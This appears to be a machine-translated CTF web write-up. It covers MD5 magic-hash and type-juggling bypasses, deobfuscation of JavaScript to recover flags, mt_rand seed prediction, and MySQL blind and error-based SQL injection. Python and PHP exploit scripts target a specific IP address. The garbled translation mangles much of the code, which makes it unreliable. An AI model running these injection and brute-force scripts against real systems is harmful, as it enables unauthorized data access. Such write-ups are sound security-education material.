Recently more busy, may be the speed of the supplementary problem some ~ Sign up questions
First enter the interface to find the following code
Then you know to use = = Weak match, construct a pure numeric string and a pure letter string, so that their MD5 values like 0exxx and 0e after all are pure digits. On the formation of scientific notation 0==0,payload
Username:qnkcdzo
password:240610708
When we get inside, we find a simple bypass.
We see is also = =, there is a reference table, we look at the know ~
The payload of the post is constructed as follows
message={"key": 0}
Draw a lottery
See this problem first think of turntable template, should be JS, and then look at the source code when found jqurey.js this function is a bit special, because there is a piece of jother encrypted code, and quite large, can not run directly.
Then we can see the function of the control turntable below, through the console debugging in Chrome can find this can control the direction of the turntable and so on. And the jsctf0 or the JSCTF1 variables are all things that we can change.
$ (_$[0]). Rotate ({bind: {click:function () {var jsctf0 = [0x0, 0x1, 0x2, 0x3, 0x4, 0
X5, 0x6, 0x7, 0x8];
jsctf0 = Jsctf0[math.floor (Math.random () * jsctf0.length)];
Console.log (JSCTF0);
if (jsctf0 = = 0x0) {timeOut ()} else {var jsctf1 = [0x0];
JSCTF1 = Jsctf1[math.floor (Math.random () * jsctf1.length)]; if (JSCTF1 = = 0x1) {rotatefunc (0x1, 0x9d, _$[1])}; if (j SCTF1 = = 0x2) {rotatefunc (0x2, 0xf7, _$[2])}; if (JSCTF1 = = 0x3) {rotatefunc (0x3, 0x16, _$[3])}; if (JSCTF1 = 0
x0) {var jsctf2 = [0x43, 0x70, 0xca, 0x124, 0x151]; JSCTF2 = Jsctf2[math.floor (Math.random () * JSCTf2.length)]; Rotatefunc (0x0, JSCTF2, 0x0)}}}});
Then we deserved to uncover the code that jother encrypted, but it was too big. It's about 70 million bytes, it's hard to get, but we can use the Chrome browser. Console is a very powerful development tool. We can enter instructions. For example, the following ... Guessing flag?
Browser has helped you solve, but this step is still more or less, in fact, the analysis just read the code to know the function of the key function is Rotatefunc function, then we look at the console Rotatefunc function can also get the key function getflag~
Get the code as follows
Just a straight one and you see it.
(function () {
window.getflag=function (text) { if (text== ' 1 ') { alert ("You are the most powerful! Unfortunately not flag") } if ( text== ' 2 ') { alert ("You're too good to be second Prize") } if (text== ' 3 ') { alert ("Hello, Third Prize") } if (text== ' Flag ') { alert ("flag{951c712ac2c3e57053c43d80c0a9e543}") } if (text== ' 0 ') { alert ("Again") } }
})
Keep Pumping .
First or turntable, F12 open source, found that the current code exists, sorted after the format for
$ (function () {var rotatefunc = function (jsctf0, JSCTF1, JSCTF2) {$ (' #lotteryBtn '). Stoprotate ();
$ ("#lotteryBtn"). Rotate ({angle:0x0, duration:0x1388, ANIMATETO:JSCTF1 + 0x5a0, Callback:function () {$.get (' get.php?token= ' + $ ("#token"). Val () + "&id=" + Encode (MD5
2), function (JSCTF3) {alert (jsctf3[' text ')}, ' json ');
$.get (' token.php ', function (JSCTF3) {$ ("#token"). Val (JSCTF3)}, ' json '}
})
};
$ ("#lotteryBtn"). Rotate ({bind: {click:function () {var jsctf0 = [0x0];
jsctf0 = Jsctf0[math.floor (Math.random () * jsctf0.length)]; if (jsctf0 = = 0x1) {rotatefunc (0x1, 0x9d, ' 1 ')}; if (jsctf0 = = 0x2)
{Rotatefunc (0x2, 0xf7, ' 2 ') if (jsctf0 = = 0x3) {rotatefunc (0x3, 0x16, ' 3 ')}
; if (jsctf0 = = 0x0) {var jsctf1 = [0x43, 0x70, 0xca, 0x124, 0x151];
JSCTF1 = Jsctf1[math.floor (Math.random () * jsctf1.length)]; Rotatefunc (0x0, JSCTF1, ' 0 ')}}})
We found that the following is the control function of the turntable, but above is get access to what things, constructs on the line, first of all we need to go to token.php above the token value placed in the URL (here token test has not changed). Then the value of the generated ID need a encode function, this is his own write, it does not matter we use the console query.
After finishing the
function encode (string) {
var output = ';
for (var x = 0, y = string.length, charcode, Hexcode x < y; ++x) {
charcode = string.charcodeat (x);
if (128 > CharCode) {
CharCode + = 128
} else if (127 < CharCode) {
charcode
= 128}
charcode = 255-charcode;
Hexcode = Charcode.tostring ();
if (2 > Hexcode.length) {
Hexcode = ' 0 ' + hexcode
}
output = = Hexcode
} return
output
}
Simple encryption format conversion, and then the most critical problem, the Rotatefunc function of the JSCTF2 variable is called in the turntable function, the code is only 0,1,2,3, and certainly no answer. How do we know what it is? Script-violent constructs.
It's not hard to write a code that's clear.
#--Coding:utf-8--Import
requests
import pyquery import
hashlib
cookies={' phpsessid ': ' 3k2rd4536me3rjsojf473vctd7 '}
def encode (string):
key= "" For
I in string:
if Ord (i) <128:
Temp =ord (i) +128
elif ord (i) >127:
Temp=ord (i) -128
hexcode=255-temp hexvalue=
""
If Len (Hex ( Hexcode) [2:]) ==0:
hexvalue+= "0"
Hexvalue+=hex (Hexcode) [2:]
key+=hexvalue return
key
s= Requests. Session ()
to Num in range (256):
url= ' http://117.34.111.15:81/'
token = s.get (url+ "token.php", cookies=cookies). text[1:-1]
#print token
have_encode=encode (HASHLIB.MD5 (str (num)). Hexdigest ())
# Print str (have_encode)
makeurl=url+ "get.php?token=" +str (token) + "&id=" +str (have_encode)
#print Makeurl
Html=s.get (makeurl,cookies=cookies). Text
if ' flag ' in HTML:
print HTML
wrong
Find this. INDEX.PHP.SWP through the recovery file Vim-r index.php get the following source code
<?php
error_reporting (0);
function Create_password ($PW _length=10) {
$randpwd = "";
For ($i =0 $i < $PW _length $i + +) {
$randpwd. =CHR (Mt_rand (33,126));
}
return $randpwd;
}
Session_Start ();
Mt_srand (Time ());
$pwd =create_password ();
if ($pwd ==$_get[' pwd ']) {
if ($_session[' Userlogin ' ==$_get[login]]) {
echo "good job, get the key";
}
else {
echo ' wrong! ';
}
}
$_session[' Userlogin ']=create_password. rand ();
? >
This topic or the study of PHP magic, a first reaction $pwd==$_get[' pwd ' can constitute a 0==string, but found $_get[] cannot achieve the division of the divide. Then you notice the pseudo-random number Mt_sand, as long as the random number of the local seed time () and the server consistent, generate exactly the same string.
Then the $_session[' Userlogin ']==$_get[login] can be constructed as null==null by deleting the cookie (the first time there is no session so null, we construct the userlogin= to construct null)
Then write the code, and here you need to keep the time synchronization between the local and the server. Do not know what time the server on the violence ran well ~ (PS: This server time is really do not know, try it ~)
#我过了的代码如下:
<?php
require_once '/include/requests-1.7.0/library/requests.php ';
Requests::register_autoloader ();
$url = ' http://117.34.111.15:85/index.php ';
function Create_password ($PW _length = ten) {
$randpwd = "";
for ($i = 0; $i < $PW _length $i + +) {
$randpwd. = Chr (Mt_rand (33,126));
}
return $randpwd;
}
$headers = Array (' Cookie ' => ');
For ($i =-100, $i <=0; $i + +) {
Mt_srand (time () + $i);
$pwd = Create_password ();
$rep = Requests::get ($url. "? login=&pwd= $pwd ");
$content = $rep->body;
$pos = Strpos ($content, "good job");
if ($pos!==false) {
echo $content;
}
}
? >
FLAG{RAND_AFJK_U8NM_UQ2N} so easy!
First we get the source code. We see that there are three main features
And then we see the login function to admin
And then look at the show function function, we can query Admin role, if the normal search must be the admin is admin!
then it's time to raise your posture. Black technology uses the bit operations in MySQL to construct injection points. Look at the results of the local experiment.
tectonic username=0 ' ^1^ ' 1
And we passed the Login function query statement, we know the location of the passwd under the user bar. So let's take a look at the filter function and filter everything, but. no filtered ASCII, Mid, select, from. Then we can use () to replace the space
Briefly explain why mid this function can be used when filtering commas, the mid function parameter is mid (query variable, start,len) , but we can construct mid (query variable from start) , That is, mid can control the starting point of the query variable , and the ASCII function, which is truncated after the query is a string. Here's a local experiment.
The next is the blind ~ understand the construction of the principle code is very simple
#--Coding:utf-8--
import requests
url= ' Http://117.34.111.15:89/?action=show '
s=requests. Session ()
passwd= ' to
L in range (1,32): for
C in range (1,133):
username= ' 0 ' ^ (ASCII ( passwd) from (user) where (username= ' admin ')) ((%d)) =%d) ^ ' 1 "% (l,c)
data={' username ': username, ' passwd ': 123}
html=s.post (url,data=data). Text
if ' admin ' in HTML:
PASSWD+=CHR (c)
print passwd
break
And then we can pop out the passwd the answer is
37b1d2f04f594bfffc826fd69e389688
And then don't let us login with admin, how to do it. The Utf-8 encoding problem bypasses and is truncated beyond the visible characters.
Flag{e4d93a53bbe9a2f9c419086c16439aa7} just a test
Have to say that their level is still too low, at the beginning of the experiment even the injection point can not find, was supposed to be in what place, the following found the injection point is not elsewhere. Exactly where we are on the URL path. Did not expect to query every page when used is the statement of MySQL, is really learning.
Then the obvious feeling is the error injection, where you can use Extractvalue or Updatexml function of the classic error injection, the following a simple attempt. Found that both methods are available ~ below to get the current database for Test1
But the content we want is not necessarily in the test1, or we need to report the database name, and we find a test
Then we need to burst the table name, because the table name is more, may wish to write a script extraction.
#-*-Coding:utf-8-*-Import requests import time
import re
s=requests. Session ()
to I in range (1,100):
url= "http://117.34.111.15:83/" and Extractvalue (1, concat (0x5c, (select table) _name from Information_schema.tables limit%d,1))) and ' 1 ' = ' 1 '%i
html=s.get (URL). Text
content= Re.findall (R ' \ ' (. *?) \ ', Html,re. S)
print content[0][1:]
Then we found the clue that the table fl@g
And then we'll explode the names.
#-*-Coding:utf-8-*-Import requests import time
import re
s=requests. Session ()
to I in range (1,1000):
url= "http://117.34.111.15:83/" and Extractvalue (1, concat (0x5c, (select column_name from Information_schema.columns limit%d,1))) and ' 1 ' = ' 1 '%i
html=s.get (URL). Text
content= Re.findall (R ' \ ' (. *?) \ ', Html,re. S)
print content[0][1:]
And then we can find the obvious hint in the CTF to point to ...
Then it's good to do, query the contents of the field, but here is a pit point. fl@g This thing in MySQL is going to take the @ back as a variable. So we need to add the symbol
It turns out the flag is not in test1.
That's in test.
But is it really the answer? Not a drop, because Extractvalue or updatexml the error is only 32 digits. I'm afraid I'm going to have to use a blind note.
#-*-Coding:utf-8-*-
import requests
s=requests. Session ()
flag= ' flag{99cd1872c9b26525a8e5ec878d ' to
I in range (32,50):
end=0 for J in
Range (32,127) :
url= ' http://117.34.111.15:83/' and ASCII (select F1ag from Test. ' Fl@g ' limit 0,1),%d,1)) =%d and ' 1 ' = ' 1 ' % (i,j)
html=s.get (URL). text
print Chr (j)
if "404-page not Found" not in HTML:
end=1
FLAG+=CHR ( j)
Print flag
break
if end==0:
break
Real Answer ~FLAG{99CD1872C9B26525A8E5EC878D230CAF}